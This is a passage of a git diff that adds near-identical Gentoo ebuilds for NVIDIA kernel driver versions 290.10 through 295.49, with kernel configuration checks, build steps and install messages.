+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-290.10.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-290.10.ebuild
new file mode 100644
index 00000000..bd17664d
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-290.10.ebuild
@@ -0,0 +1,195 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# Add support for the 'x86' unified kernel arch in conftest.sh
+		epatch "${FILESDIR}"/256.35-unified-arch.patch
+
+		# Linux 3.2.8+ and 3.3 patches
+		epatch "${FILESDIR}/${PN}-290.10-3.2.8+.patch"
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.20.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.20.ebuild
new file mode 100644
index 00000000..d82b365a
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.20.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# Add support for the 'x86' unified kernel arch in conftest.sh
+		epatch "${FILESDIR}"/256.35-unified-arch.patch
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.33.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.33.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.33.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.40.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.40.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.40.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.49.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.49.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.49.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
